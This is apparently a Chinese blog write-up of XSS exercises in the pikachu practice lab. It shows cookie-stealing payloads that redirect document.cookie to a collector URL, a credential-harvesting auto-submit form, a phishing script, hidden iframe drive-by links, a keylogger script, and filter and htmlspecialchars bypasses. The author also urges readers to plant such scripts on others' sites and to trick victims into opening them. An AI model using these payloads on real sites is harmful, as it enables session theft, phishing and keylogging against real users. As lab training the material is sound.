其他分享
首页 > 其他分享> > xss靶场笔记

xss靶场笔记

作者:互联网

XSS攻防解析

0x01. 平台搭建

依然是以最熟悉的pikachu平台来搭建我们的靶场环境

1. 安装

http://192.168.18.59:90/pikachu/pkxss/index.php

image-20201231132156451

image-20201231132221135image-20201231132243641

image-20201231132316376

image-20201231132326888

出现以上画面,pikachu xss后台即为安装成功,基本上是傻瓜式的,你别说你的不行

0x02. 截取cookie

修改cookie.php文件

image-20201231132958681

这个文件的功能是获取你当前用户的指纹信息,然后存到自己的数据库,最后跳转到首页,如果你想在别的网站上

窃取用户的cookie你就搞一个这样的api,同时把xss脚本写到别人的网站上,至于怎么隐藏xss脚本不被发现就看

你自己的本事了

获取cookie的xss脚本

'"><script>document.location = 'http://192.168.18.59:90/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

/#通过document.location 实例进行重定向到http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=
# document.location你可以认为是页面即将要发请求(加载)的地址
# document.cookie当前页面的cookie

简单显示

image-20201231134248478

回车之后会跳转到页面的首页,然后打开我们的后台,可以看到将当前的cookie给获取了

image-20201231134420219

0x03. 获取账号和密码

当你检测到那个页面有xss漏洞,你可以用抓包工具把请求抓下来,然后构造一个html页面,这里以pikachu中的

post.html分析

image-20201231143658263

这个html文件实现的功能是,首先有一个form表单,提交数据的方式是post,提交的地址是一个指定地址

表单中有一个input输入框,并且这个input框的value值,已经写死了,是一段获取cookie的xss脚本,紧接着是

一个submit提交的文本框,文件中还有一段js脚本,是当窗口页面加载完成就会触发的一个函数,函数的功能是

自动点击submit提交按钮,也就是说当你一打开这个页面,你当前的cookie就会被截获走

当一个用户登录了pikachu,但是你很想知道他的pikachu账号和密码,于是乎你写了一个post.html这样的一个

脚本 , 然后一番伪造用qq发个那个人 , 那个人一在地址栏访问 , 就会把cookie里面的账号和密码发到你的后台,

同时受害者一闪直接跳回pikachu首页 , 没有察觉到什么

http://192.168.18.59:90/pikachu/pkxss/xcookie/post.html

查看后台截获的密码

image-20201231141030926

0x04. 钓鱼

会在提交的页面上弹出一个浏览器端的用户验证,需要输入账号和密码,然后发送到指定的钓鱼网站

image-20201231143334094

在存储型xss中输入以下xss脚本

1111'"><script src="http://192.168.18.59:90/pikachu/pkxss/xfish/fish.php"></script>

当别人点击登录pikachu点击存储型xss的时候就会自动弹出这个对话框,如果已经输入过一次就不会弹出了

image-20201231144605543

查看后台钓鱼情况

image-20201231145009998

0x05. 挂马

也有的人称之为暗链,就是在当前页面挂一个别的网站的链接,一般都会隐藏起来,不让用户发现

每当这个页面加载就会偷偷加载木马页面

简单显示框架挂马

<iframe src="网马的地址" width="0" height="0" frameborder="0"></iframe>
222'">x <iframe src="https://www.baidu.com" width="500" height="5000" frameborder="0"></iframe>

image-20201231150308010

隐藏的话只需要把三个属性的值改为0即可

详细挂马教程请见 :https://blog.csdn.net/cdefu/article/details/4139192/

0x06. 键盘记录

在演示键盘记录前,你需要先掌握什么是跨域和浏览器同源策略

跨域

http://www.oldboyedu.com:80/news/index.php

协议 子域名 主域名 端口 资源地址

当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作

https://www.oldboyedu.com:80
http://www.oldboyedu.com:80

http://vip.oldboyedu.com:80
http://www.oldboyedu.com:80

http://www.oldboyedu.com:80
http://www.oldboyedu.com:82

以上且属于不在一个域里

同源策略

为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本

既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象

那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同

源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。

Tips:下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的

<script src="...">  //加载本地js执行
<img src="...">  //图片
<link href="...">  //css
<iframe src="...">  //任意资源

同源策略修改

D:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php

同之前的案例到后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问。
					  接受     控制     允许     域

image-20201231151709084

修改文件

image-20201231152009689

监听键盘的xss脚本

<script src="http://192.168.18.59:90/pikachu/pkxss/rkeypress/rk.js"></script>

rk.js关键代码解读

image-20201231153221145

var realkey = String.fromCharCode(event.keyCode); //获取用户键盘记录,最后转化为字符串

xl+=realkey; //赋值给x1

show(); //调用show涵数,通过下面ajax进行post发送键盘记录人内容

简单演示

4444'"><script src="http://192.168.18.59:90/pikachu/pkxss/rkeypress/rk.js"></script>

image-20201231155914973

测试结果失败

image-20201231161845116

因为谷歌浏览器遵守了w3c规范在XMLHttpRequest不允许设置一些headers,他们会被浏览器自动设置

简单总结一下思路,网站允许跨域,然后js里面偷偷发ajax请求把键盘给记录下来

0x07. xss盲打

XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意JS代码在类似留言板等输

入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的

恶意代码,从而达到攻击者的目的。

就是攻击者在前端看不到xss攻击的结果,一般插获取cookies/账密的脚本 , 这里就用简单的弹窗演示

1111'"><script>alert(/xxx/)</script>

image-20201231162845196

管理员登录查看http://192.168.18.59:90/pikachu/vul/xss/xssblind/admin.php

image-20201231163020831

image-20201231163114548

xss漏洞可玩性很高的,一般你在可以输入内容的地方都可以把xss攻击写进去,然后搭建一个云服务平台,就写一

个获取cookie的接口,然后保存在数据库中,然后当捕捉到cookie就自动发一个邮件通知

0x08. xss过滤

'"><script>alert(666)</script> 

image-20201231163713384

点击提交,发现并没有弹窗,我们打开源代码看看怎么回事,在生产环境中你是看不到源代码的

C:\phpStudy\WWW\pikachu\vul\xss\xss_01.php

image-20201231164220948

发现在源码内部对message接收的数据进行了过滤 , 但是不是绝对的过滤 , 你可以用BP跑一下或者尝试一下其他

的xss攻击,xss攻击不代表只有script,编码啦等等很多,你要知道黑名单永远都是不完全的

image-20201231165044076

"><iframe src="javascRipt:alert(XSS)">

image-20201231165200081

0x09. xss绕过

大多数网站为了避免xss的攻击,对于攻击者的输入都采取了过滤的措施,导致攻击者通常不能正常插入恶意代码来达到攻击目的。但是仍存在一些漏洞可以利用,来绕过过滤措施。

xss绕过的方法有许多,主要取决于攻击者的思路和对前端技术的掌握,以下介绍几个简单的绕过方法。

0x10. XSS之htmlspecialchars

该函数的语法:

htmlspecialchars(string,flags,character-set,double_encode)

过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函

默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单

引号

预定义的字符是:

 & (和号)成为 &amp
 " (双引号)成为 &quot
 ’ (单引号)成为&#039
 < (小于)成为 &lt
 >(大于)成为 &gt

可用的quotestyle类型

'"><script>alert(666)</script> 

image-20201231171707754

没有弹窗,我们查看一下源码是否进行了htmlspecialchars编码

image-20201231171853530

果然是进行了实体编码,但是没有对单引号和双引号过滤而且接收的内容最后传入到了a标签的href属性中,我们

可以用事件进行xss攻击

q' onclick='alert("you are dsb")'

image-20201231172410891

0x11. xss之href

继续利用q' onclick='alert("you are dsb")'发现并没有弹窗,很有可能是在代码层面把单引号和双引号给过滤掉了

于是打开源码一探究竟

image-20201231172539172

$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";

果然对单引号和双引号进行了过滤 , 但是message的值最后传递给了a标签的href属性,于是我们可以利用href属

性进行弹窗

javascript:alert(666)

image-20201231173430325

0x12. xss之js

当我们把以上两种方法都测试以后,发现还是不能弹窗,这里就要考虑你输入的数据最终是跑到哪里输出了

考虑是不是在js里面,提交一个正常的查看网站源代码

image-20201231174041445

image-20201231174137750

解决方法:我们可以自己构建一个闭合原来的script标签,然后再拼接一个恶意的script标签

11'</script><script>alert(1111)</script> ;

image-20201231174346009

标签:xss,http,pikachu,笔记,过滤,cookie,靶场,页面
来源: https://www.cnblogs.com/xcymn/p/15721515.html